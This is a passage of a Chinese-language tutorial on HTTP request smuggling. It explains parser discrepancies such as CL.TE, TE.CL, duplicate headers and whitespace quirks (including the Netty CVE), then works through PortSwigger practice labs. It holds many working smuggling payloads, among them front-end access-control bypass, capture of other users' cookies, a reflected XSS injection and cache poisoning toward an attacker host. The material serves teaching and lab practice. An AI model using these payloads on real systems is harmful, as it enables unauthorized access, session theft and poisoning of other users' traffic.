# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
有些中间件处理以上的请求时，当遇到`\0`的时候会继续换行读取，这样也会导致产生解析差异。
### CRLF
根据 [RFC7320 section-3.5](https://tools.ietf.org/html/rfc7230#section-3.5):
> Although the line terminator for the start-line and header fields is the
> sequence CRLF, a recipient MAY recognize a single LF as a line terminator
> and ignore any preceding CR.
也就是说除了 CRLF 我们还可以用 LF 作为 EOL，但是在 Node.js < 5.6.0 的版本，对于 CRLF 的处理也是比较有趣的：
[CR] + ? == [CR][LF] //true
假设我们有一个正常解析 CRLF 的 Front 服务器，后端是有该漏洞的 Node.js 服务，我们可以发送以下请求：
GET / HTTP/1.1\r\n
Host:localhost\r\n
Dummy: Header\rZTransfer-Encoding: chunked\r\n
Content-length: 52\r\n
\r\n
0\r\n
\r\n
GET /tmp HTTP/1.1\r\n
Host:localhost\r\n
Dummy:Header\r\n
Front 服务器就会认为`Dummy: Header\rZTransfer-Encoding: chunked\r\n`是一个 header ，使用 CL
头解析，会认为这是一个完整的请求，而 Node.js 会认为`\rZ`是一个换行，按照 TE 优先于 CL 的解析规则，认为这是两个请求，就产生了解析差异。
### Size Issue
还可以利用一些编码块长度产生解析差异，例如：
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0000000000000000000000000000042\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
某些中间件在解析块大小的时候，会将长度块大小长度进行截断，比如这里表现为只取`'0000000000000000000000000000042`为`00000000000000000`，这样就会认为这是两个请求了，第一个请求的块大小为0，第二个就会请求`/tmp`，就导致了
HTTP Smuggling。
### HTTP Version
这个主要是由于 HTTP/0.9 引起的问题，我们先来看看 HTTP 几个版本的 example ：
HTTP v1.1
GET /foo HTTP/1.1\r\n
Host: example.com\r\n
HTTP v1.0
GET /foo HTTP/1.0\r\n
\r\n
HTTP v0.9
GET /foo\r\n
并且 HTTP/0.9 请求包与响应包是都没有 headers 的概念的，也就是说如下：
因为 HTTP/0.9 响应包没有 headers 的特性，在 HTTP Smuggling 中利用起来也就特别的有意思了。
这张图的意思就是我们在 HTTP Smuggling 的时候使用 HTTP/0.9 进行 Smuggle ，这并不是 HTTP/0.9
标准的格式，但是由于一些中间件已经不支持直接解析 HTTP/0.9 的标准格式了，但是还可能存在解析这种指定 HTTP version
的情况。于是就可能存在以下这种情况：
上面两个图展现了一个大致的攻击流程，chewy2.jpg 当中的 24-33664 字节有着一个完整的 HTTP 响应报文，当 Golang 在处理
HTTP/0.9 的时候，由于我们指定了`Range: bytes=24-33664`，就是我们可以指定获取响应报文的 24-33664
个字节，也就是获取了我们存放在图片当中的 HTTP 报文，然后返回给 Golang ，Golang 对于 HTTP/0.9
再进行标准化去头的处理，这样响应看起来就是一个新的响应了。
当一个正常用户去请求的时候，如果 Apache 重新使用了 TCP/IP 链接，就会将我们构造在图片当中的 HTTP
报文当作响应包返回给用户。这也是一个很典型的 HTTP Response Splitting 的思路。具体可以看看视频演示 [HTTP Smuggling
Examples 2016](https://www.youtube.com/watch?v=lY_Mf2Fv7kI)
### Has a CL in GET
这个场景其实就是在 GET 请求中使用了 body ，并以 Content-Length 指出了 body 的长度。
> 其实在这里，影响到的并不仅仅是GET请求，所有不携带请求体的HTTP请求都有可能受此影响，只因为GET比较典型，我们把它作为一个例子。
在 [RFC7230 Content-Length](https://tools.ietf.org/html/rfc7230#section-3.3.2)
部分提到：
> For example, a Content-Length header field is normally sent in a POST
> request even when the value is 0 (indicating an empty payload body). A user
> agent SHOULD NOT send a Content-Length header field when the request message
> does not contain a payload body and the method semantics do not anticipate
> such a body.
在最新的 [RFC7231 4.3.1 GET](https://tools.ietf.org/html/rfc7231#section-4.3.1)
中也仅仅提了一句：
> A payload within a GET request message has no defined semantics; sending a
> payload body on a GET request might cause some existing implementations to
> reject the request.
对于类似拥有 body 字段并且以 Content-Length 指出其 body 长度的请求，RFC 并没有严格的说明 Server
应该如何去处理，所以大部分中间件对于拥有 body 的 GET
请求也是进行了宽松处理，但是也是部分情况，由于这些中间件没有一个严格的标准依据，所以也会产生解析差异导致 HTTP Smuggling 攻击。
这里我们举个简单且理想化的例子，Front 服务器对于 GET 请求允许携带 body ，而 Backend 服务器会忽略带 body 的 GET 请求。
当我们发送如下请求：
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
当 Front 服务器处理这个请求的时候，会把以上这个请求当作一个完整的请求转发给 Backend 服务器，而 Backend
服务求在处理这个服务器的时候，会把这个请求当作两个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
这样我们就可以成功地进行了一次 HTTP Smuggling，从这个例子当中，我们也不难看出，如果有一个场景存在 HTTP Smuggling
漏洞，那么这个 Content-Length 数据就变得额外的重要，因为这影响到我们攻击是否成功，能否将我们的 HTTP 请求成功地“嵌入”在一个 HTTP
请求当中。
这里的计算方法与之前的类似，
GET /secret HTTP/1.1\r\n --> "GET /secret HTTP/1.1" 一共20个字符，加上CRLF一共22个字符
Host: example.com\r\n --> "Host: example.com" 一共17个字符，加上CRLF一共19个字符
22 + 19 = 41 个字节
### Two Identical Fields - CL
这里我们以 Content-Length 举例，在 [RFC7230 section
3.3.2](https://tools.ietf.org/html/rfc7230#section-3.3.2) 中，
> If a message is received that has multiple Content-Length header fields with
> field-values consisting of the same decimal value, or a single Content-> Length header field with a field value containing a list of identical
> decimal values (e.g., "Content-Length: 42, 42"), indicating that duplicate
> Content-Length header fields have been generated or combined by an upstream
> message processor, then the recipient MUST either reject the message as
> invalid or replace the duplicated field-values with a single valid Content-> Length field containing that decimal value prior to determining the message
> body length or forwarding the message.
And [RFC 7230 section
3.3.3](https://tools.ietf.org/html/rfc7230#section-3.3.3) 中也提到：
> If a message is received without Transfer-Encoding and with either multiple
> Content-Length header fields having differing field-values or a single
> Content-Length header field having an invalid value, then the message
> framing is invalid and the recipient MUST treat it as an unrecoverable
> error. If this is a request message, the server MUST respond with a 400 (Bad
> Request) status code and then close the connection.
RFC 当中对于这中情况也有了比较明确的规范，但是我们这里假设举一个比较简单的例子，我们发送以下请求：
GET /suzann.html HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 0\r\n
Content-Length: 46\r\n
\r\n
GET /walter.html HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在这里，我们假设 Front 服务器以第二个 Content-Length 为解析标准，抛弃第一个 Content-Length
字段或者对第一个不做任何处理或者 anything else ，反正假设它只处理第二个 Content-Length 字段；我们在假设
Backend服务器以第一个 Content-Length 字段为解析标准，不理会第二个。
这样就相当于我们在 HTTP 请求中注入了另一个 HTTP 请求，如果整个场景像我们上述这样，就存在 HTTP Smuggling 攻击。
如过服务器以第一个 Content-Length 为解析标准，这样解析就会出现两个 HTTP 请求，如果以第二个作为解析标准，则会认为只有一个 HTTP
请求。
### Optional WhiteSpace
RFC7320 中对于 header 字段有这样的描述：
> 3.2. Header Fields
>
> Each header field consists of a case-insensitive field name followed
> by a colon (":"), optional leading whitespace, the field value, and
> optional trailing whitespace.
>
> header-field = field-name ":" OWS field-value OWS
>
>
> field-name = token
> field-value = *( field-content / obs-fold )
> field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ]
> field-vchar = VCHAR / obs-text
>
>
> obs-fold = CRLF 1*( SP / HTAB )
> ; obsolete line folding
> ; see Section 3.2.4
>
> The field-name token labels the corresponding field-value as having
> the semantics defined by that header field. For example, the Date
> header field is defined in Section 7.1.1.2 of [RFC7231] as containing
> the origination timestamp for the message in which it appears.
尤其是开头的一句话表明，字段后面应该紧跟`:`冒号，然后是 OWS(Optional WhiteSpace) 可选的空格，然后再是字段值，最后是 OWS
可选空格。
这个会存在什么问题呢？很明显，如果有中间件对于这个的实现并没有严格遵循 RFC 标准的话，也会产生 HTTP Smuggling 攻击。
比较典型的例子就是 CVE-2019-16869 ，这枚 CVE 是 OPPO 子午互联网安全实验室发掘的，是关于 Netty 中间件存在 HTTP
Smuggling 漏洞。
在 Netty 4.1.42.Final 版本之前对于 Header 头的处理是使用
[splitHeader](https://github.com/netty/netty/blob/netty-4.1.41.Final/codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java)
方法，其中关键代码如下：
for (nameEnd = nameStart; nameEnd < length; nameEnd ++) {
char ch = sb.charAt(nameEnd);
if (ch == ':' || Character.isWhitespace(ch)) {
break;
}
}
其他的代码我们并不需要过多了解，这里我们可以知道这里将空格与`:`冒号同样处理了，也就是如果存在空格会把`:`其之前的 field name
正常处理，并不会抛出错误或者进行其他操作。这样就与 RFC 标准的规范不一致了，于是就会产生解析差异。
@Bi3g0 构建了比较清晰的漏洞原理图：
这里用的例子是采用 ELB 作为 Front 服务器，Netty 作为 Backend 服务器进行举例，我们发送如下请求：
POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked
0
GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker
ELB 会将 Transfer-Encoding 字段忽略，因为它与冒号中间有一个空格，不符合 RFC 标准，会使用 Content-Length
作为解析标准，于是会认为以上请求是一个完整的请求，继而扔给 Backend 服务器，也就是 Netty ，Netty 在这里会优先解析 Transfer-Encoding ，即使这个字段不符合 RFC 标准，但是因为它的实现方式不严格，所以这里因为优先解析 Transfer-Encoding
的原因，它会将这个请求拆分为两个请求：
POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked
0
GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker
这样就造成了 HTTP Smuggling 攻击。
Netty 于 4.1.42 Final 版本修复了这个漏洞：[Correctly handle whitespaces in HTTP header
names as defined by RFC72…](https://github.com/netty/netty/pull/9585)
当我们发送 field name 与 : 之间有空格的 header 请求时， netty 会“正确”地返回 400 。
### CL-TE
接下来几个攻击方式我们可以通过 @portswigger 提供的几个 Lab 给我们进行练习以加深理解——[HTTP request
smuggling](https://portswigger.net/web-security/request-smuggling)
在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。
首先我们来看 CL-TE 的情况：[Lab: HTTP request smuggling, basic CL.TE
vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
> This lab involves a front-end and back-end server, and the front-end server
> doesn't support chunked encoding. The front-end server rejects requests that
> aren't using the GET or POST method.
>
> To solve the lab, smuggle a request to the back-end server, so that the next
> request processed by the back-end server appears to use the method GPOST.
根据题目提示，我们只需要让 Backend 服务器收到 GPOST 方法即可，而且场景也明确告诉我们是一种 CL-TE 的场景。
POST / HTTP/1.1
Host: ac8f1fae1e6cd77b8073213100b500d6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
根据题目的提示要求，这里我们发送两次以上 HTTP 请求包：
我们就可以使第二次请求构造出 GPOST 的 HTTP Method 了，详细的我们可以按照下面这个流程图来看看：
User Front Backend
| | |
|--A(1A+1/2B)-->| |
| |--A(1A+1/2B)-->|
| |<-A(200)-------|
| | [1/2B]
|<-A(200)-------| [1/2B]
|--C----------->| [1/2B]
| |--C----------->| * ending B *
| |<--B(200)------|
|<--B(200)------| |
* 1A + 1/2B 表示的是一个完整的请求 A + 一个不完整的请求 B
* A(X) : 表示 X 请求隐藏在 A 请求的 body 当中
* ending B: 请求 C 第一行被拼接到了不完整的请求 B 的 header 头当中，请求 C 其他所有的请求头都被添加到了请求 B 当中，这样请求 C 就相当于消失了，请求 B 会带着请求 C 的请求头去请求后段服务器，包括 Cookie 字段或者其他什么认证字段
整个过程就是，我们发送以上请求，当 Front 服务器优先以 CL 处理时，会认为
0\r\n
\r\n
G
以上 6 个字节为请求 A 的 body ，会将这个请求 A 当作一个完整的请求转发到后端，而当 Backend 服务器优先以 TE 处理时，会认为
POST / HTTP/1.1
Host: ac8f1fae1e6cd77b8073213100b500d6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
这个是一个完整的，单独的请求，而
G
这个他会视为一个不完整的请求，所以就造成了 1/2 B 请求的产生，于是会在 Backend 服务器缓冲区处等待其他数据的到来以使得将 1/2 B
拼接成一个完整的请求，当我们发送第二遍请求的时候，POST 会拼接到 G 后面，所以 HTTP Method 会变成 GPOST
方法，也就是我们看到的得到的回显，无法识别的 HTTP Method GPOST。
### TE-CL
接下来我们来看 TE-CL 的情况，同样我们借助 LAB 实验来加深理解：[Lab: HTTP request smuggling, basic TE.CL
vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
> This lab involves a front-end and back-end server, and the back-end server
> doesn't support chunked encoding. The front-end server rejects requests that
> aren't using the GET or POST method.
>
> To solve the lab, smuggle a request to the back-end server, so that the next
> request processed by the back-end server appears to use the method GPOST.
按照题目提示，我们要达到的仍然是让后端收到 GPOST 请求，而且场景也明确告诉我们是一种 TE-CL 的场景。
POST / HTTP/1.1
Host: acde1ffc1f047f9f8007186200ff00fe.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
12
GPOST / HTTP/1.1
0
这里需要注意的是最后需要加两个 CRLF 构造 chunk data，也就是
0\r\n
\r\n
根据题目的提示要求，这里我们发送两次以上 HTTP 请求包即可，我们可以收到如下图所示的响应。
过程流程与 CL-TE 类似，Front 服务器处理这个请求的时候按照 TE 优先处理，会认为上面的请求为一个请求整体，然后转发给 Backend
服务器，Backend 服务器在处理的时候按照 CL 优先处理，会认为`12\r\n`为第一个请求的 body ，以下为第二个请求，所以会响应 GPOST
为无法识别的 HTTP Method。
### Two Identical Fields - TE
这里我们来看 TE 都存在的情况，同样我们借助 LAB 实验来加深理解：[Lab: HTTP request smuggling, obfuscating
the TE header](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)
> This lab involves a front-end and back-end server, and the two servers
> handle duplicate HTTP request headers in different ways. The front-end
> server rejects requests that aren't using the GET or POST method.
>
> To solve the lab, smuggle a request to the back-end server, so that the next
> request processed by the back-end server appears to use the method GPOST.
按照题目提示，我们要达到的仍然是让后端收到 GPOST 请求，而且场景也明确告诉我们是一种 TE-TE
的场景。其实这个场景也可以认为是相同字段的场景处理，比如说在处理两个 TE 字段，如果取第二个 TE
字段作为解析标准，而第二个字段值非正常或者解析出错，就可能会忽略掉 TE 字段，而使用 CL 字段进行解析。比如在这个 LAB 中，我们发送两遍如下请求：
POST / HTTP/1.1
Host: acfd1f201f5fb528809b582e004200a3.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=9swxitdhJRXeFhq77wGSU7fKw0VTiuzQ
Cache-Control: max-age=0
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: nothing
12
GPOST / HTTP/1.1
0
这里同上一个场景一样，需要在最后添加两个 CRLF ：
0\r\n
\r\n
我们就可以得到如下图的响应：
我们可以看到这里是用了两个 TE 字段，并且第二个 TE 字段值非标准值，这里 Front 选择对第一个 TE 进行优先处理，整个请求则为正常请求，会转发给
Backend 服务器，而 Backend 服务器以第二个 TE 进行优先处理，而第二个 TE 值非正常，则会取 CL 字段进行处理，这样这个请求就会因为
CL 字段设置的值 4 而被拆分为两个请求。
第一个请求：
POST / HTTP/1.1
Host: acfd1f201f5fb528809b582e004200a3.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=9swxitdhJRXeFhq77wGSU7fKw0VTiuzQ
Cache-Control: max-age=0
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: nothing
12
第二个请求：
GPOST / HTTP/1.1
0
这样就发送了一个无法识别的 HTTP Method GPOST 请求。
## Attack Surface
上面我们大概介绍了几种攻击方式，下面我来看看这些攻击方式可以用来干嘛。同样我们将配合实验环境帮助理解与复现。
### Bypass Front-end Security Controls
这里提供了两个实验环境，一个是 CL-TE 形式的 [Lab: Exploiting HTTP request smuggling to bypass
front-end security controls, CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te)
，一个是TE-CL 形式的 [Lab: Exploiting HTTP request smuggling to bypass front-end
security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)，两个实验最终达到的目的一样，这里我们随便选用 CL-TE 的来进行实验。
> This lab involves a front-end and back-end server, and the front-end
> server doesn't support chunked encoding. There's an admin panel at /admin,
> but the front-end server blocks access to it.
>
> To solve the lab, smuggle a request to the back-end server that accesses the
> admin panel and deletes the user carlos.
架构一样，只不过这次我们需要去利用 HTTP Smuggling 获取 admin 权限并删除 carlos 用户。
我们生成 LAB 之后，直接访问`/admin`会发现 `"Path /admin is
blocked"`，看来不能通过正常方式访问`/admin`，那我们尝试 HTTP Smuggling 的方式，发送如下数据包两次：
POST / HTTP/1.1
Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 28
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
得到的响应如下两图
可以看到第二个请求我们得到了`/admin`的响应
<div class="container is-page">
Admin interface only available if logged in as an administrator, or if requested as localhost
</div>
于是我们添加 HOST 头再次发送几次
POST / HTTP/1.1
Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 45
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
我们可以看到成功访问到了`/admin`面板内容，如果不成功可以多发送几次试试看
得到了删除的 api ，于是我们再利用 HTTP Smuggling 访问这个 `/admin/delete?username=carlos`
即可，构造如下数据包：
POST / HTTP/1.1
Host: ac211ffb1eae617180910ebc00fc00f4.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 63
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
这种攻击方式类似 HTTP SSRF ，主要的点就是在控制 CL 数值上，比如说第一个数据包 CL 的值为 28 ，是这么计算的：
0\r\n --> 3个字节
\r\n --> 2个字节
GET /admin HTTP/1.1\r\n --> 19+2 = 21 个字节
\r\n --> 2个字节
所以这么结算下来就是 3+2+21+2 = 28字节。
TE-CL 的情况类似，这里就不再重复举例了。
### Revealing Front-end Request Rewriting
>
> 在有的网络环境下，前端代理服务器在收到请求后，不会直接转发给后端服务器，而是先添加一些必要的字段，然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的，比如：
>
> * 描述TLS连接所使用的协议和密码
> * 包含用户IP地址的XFF头
> * 用户的会话令牌ID
>
>
>
> 总之，如果不能获取到代理服务器添加或者重写的字段，我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法，主要是三大步骤：
>
> * 找一个能够将请求参数的值输出到响应中的POST请求
> * 把该POST请求中，找到的这个特殊的参数放在消息的最后面
> * 然后走私这一个请求，然后直接发送一个普通的请求，前端服务器对这个请求重写的一些字段就会显示出来。
>
有时候 Front 服务器会给转发的请求添加一些请求头再转发给 Backend 服务器，我们可以利用 HTTP Smuggling
的方式来泄露这些请求头。同样我们借助 LAB 来实践理解：[Lab: Exploiting HTTP request smuggling to reveal
front-end request rewriting](https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting)
> This lab involves a front-end and back-end server, and the front-end server
> doesn't support chunked encoding.
>
> There's an admin panel at /admin, but it's only accessible to people with
> the IP address 127.0.0.1. The front-end server adds an HTTP header to
> incoming requests containing their IP address. It's similar to the
> X-Forwarded-For header but has a different name.
>
> To solve the lab, smuggle a request to the back-end server that reveals the
> header that is added by the front-end server. Then smuggle a request to the
> back-end server that includes the added header, accesses the admin panel,
> and deletes the user carlos.
这里根据题目提示，场景是一个 CL-TE 的场景，并且给出一个搜索框，我们尝试随便搜索一个 123 ，可以发现搜索结果“123”直接回显到了相应当中。
尝试使用 HTTP Smuggling 方式访问，但是被 blocked ：
然后我们可以尝试利用搜索回显把 Front 服务器转发的请求头给泄露出来：
如果后面只是添加那个 X-*-Ip 的请求头是访问不了 admin 面板的，因为这样会让 Backend
收到两个重复的请求头，在这个场景当中，Backend 服务器对重复的请求头做出了判断：
所以我们需要把 Front 服务器添加的请求头给“隐藏”掉，我们就可以利用 Smuggling 通过 body 的方式把其他 Front
服务器添加的请求头“隐藏”掉，然后我们就可以得到 admin 面板回显：
整个流程看起来比较简单，但是仔细做的话，其实 CL 的值比较关键，我们来看看泄露 Front 请求的那个数据包的 CL 值怎么算的：
0\r\n --> 3个字节
\r\n --> 2个字节
POST / HTTP/1.1\r\n --> 17个字节
Content-Length: 70\r\n --> 20个字节
Content-Type: application/x-www-form-urlencoded\r\n --> 49个字节
\r\n --> 2个字节
search=123 --> 10个字节
总共是 103 个字节，这里的 CL 也可以不是 70 ，这里只是控制泄露多少字节的内容。
还有一个比较需要注意的就是如果你不添加 Content-Type 字段的话，需要在最后添加一个`\r\n`，否则会返回 400 。
### Capturing other users' requests
既然能拿到中间件请求，当然我们也可以尝试去拿其他用户的请求，也能拿到 Cookie 等，LAB 地址：[Lab: Exploiting HTTP
request smuggling to capture other users'
requests](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
> This lab involves a front-end and back-end server, and the front-end server
> doesn't support chunked encoding.
>
> To solve the lab, smuggle a request to the back-end server that causes the
> next user's request to be stored in the application. Then retrieve the next
> user's request and use the victim user's cookies to access their account.
原理也比较简单，我们可以找到一个发评论的地方，然后利用评论处进行 HTTP Smuggling，例如，我们可以构造以下请求包：
POST / HTTP/1.1
Host: ac951f7d1e9ea625803c617f003f005c.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At
csrf=oIjWmI8aLjIzqX18n5mNCnJieTnOVWPN&postId=5&name=1&email=1%40qq.com&website=http%3A%2F%2Fwww.baidu.com&comment=1
只要下面这个 CL 足够大，我们就可以用 HTTP Smuggling 把下一个用户的请求拼接到我们最后一个 comment
参数里面了，然后我们在看评论处就可以看到别人的请求头了。
### Exploit Reflected XSS
这个利用场景可能比较受限，也比较少见，但是如果存在 HTTP Smuggling & reflected XSS ，我们就可以利用这个组合拳 X 到别人的
cookie
> This lab involves a front-end and back-end server, and the front-end server
> doesn't support chunked encoding.
>
> The application is also vulnerable to [reflected
> XSS](https://portswigger.net/web-security/cross-site-scripting/reflected)
> via the User-Agent header.
>
> To solve the lab, smuggle a request to the back-end server that causes the
> next user's request to receive a response containing an XSS exploit that
> executes alert(1).
还是依旧的 CL-TE 场景，我们可以在 UA 处发现有一个反射 XSS，but 单是这样没什么用，所以我们得想点办法升级危害。
我们可以构造以下数据包，只要发送一次
POST / HTTP/1.1
Host: ac811f011e27d43b80301693005a0007.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=iSxMvTrkiVN2G5N7EF7MTKgXGRE6A5xZ
Upgrade-Insecure-Requests: 1
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
然后我们随便访问该站任何页面都会被弹窗了，因为我们的请求被嵌入到了上面的第二个请求当中：
### Turn An On-Site Redirect Into An Open Redirect
这种攻击场景是在目标在使用 30x 跳转的时候，使用了 Host 头进行跳转，例如在 Apache & IIS 服务器上，一个uri 最后不带 /
的请求会被 30x 导向带 / 的地址，例如发送以下请求：
GET /home HTTP/1.1
Host: normal-website.com
我们会得到 Response :
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
看起来没什么危害，但是如果我们配合 HTTP Smuggling 就会有问题了，例如：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Smugle 之后的请求会像以下这样：
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
然后如果服务器根据 Host 进行跳转的话，我们会得到以下的 Response:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
这样，受害者，也就是访问`/scripts/include.js`这个的用户，会被跳转到我们控制的 url 了。
### Perform Web Cache Poisoning
这个场景也是基于上面的 Host 跳转的攻击场景，如果 Front 服务器还存在缓存静态资源的话，我们可以配合 HTTP Smuggling
进行缓存投毒，[Lab: Exploiting HTTP request smuggling to perform web cache
poisoning](https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning)
> This lab involves a front-end and back-end server, and the front-end server
> doesn't support chunked encoding. The front-end server is configured to
> cache certain responses.
>
> To solve the lab, perform a [request smuggling](https://portswigger.net/web-> security/request-smuggling) attack that causes the cache to be poisoned,
> such that a subsequent request for a JavaScript file receives a redirection
> to the exploit server.
这个环境也是一个可以修改 Host 进行跳转的场景，而在`/post/next?postId=2`路由正好有一个跳转的 api
供我们使用，这个路由跳转到的是`/post?postId=4`。
根据题目描述，我们需要实现缓存投毒， 例如这里我们就选择`/resources/js/tracking.js`进行投毒，LAB
还给了我们制造投毒的服务，于是我们可以进行以下设置：
发送以下数据包一次：
POST / HTTP/1.1
Host: ac7a1f141fadd93d801c469f005500bf.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=f6c7ZBB52a6iedorGSywc8jM6USu4685
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac701fe61fabd97b8027465701f800a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
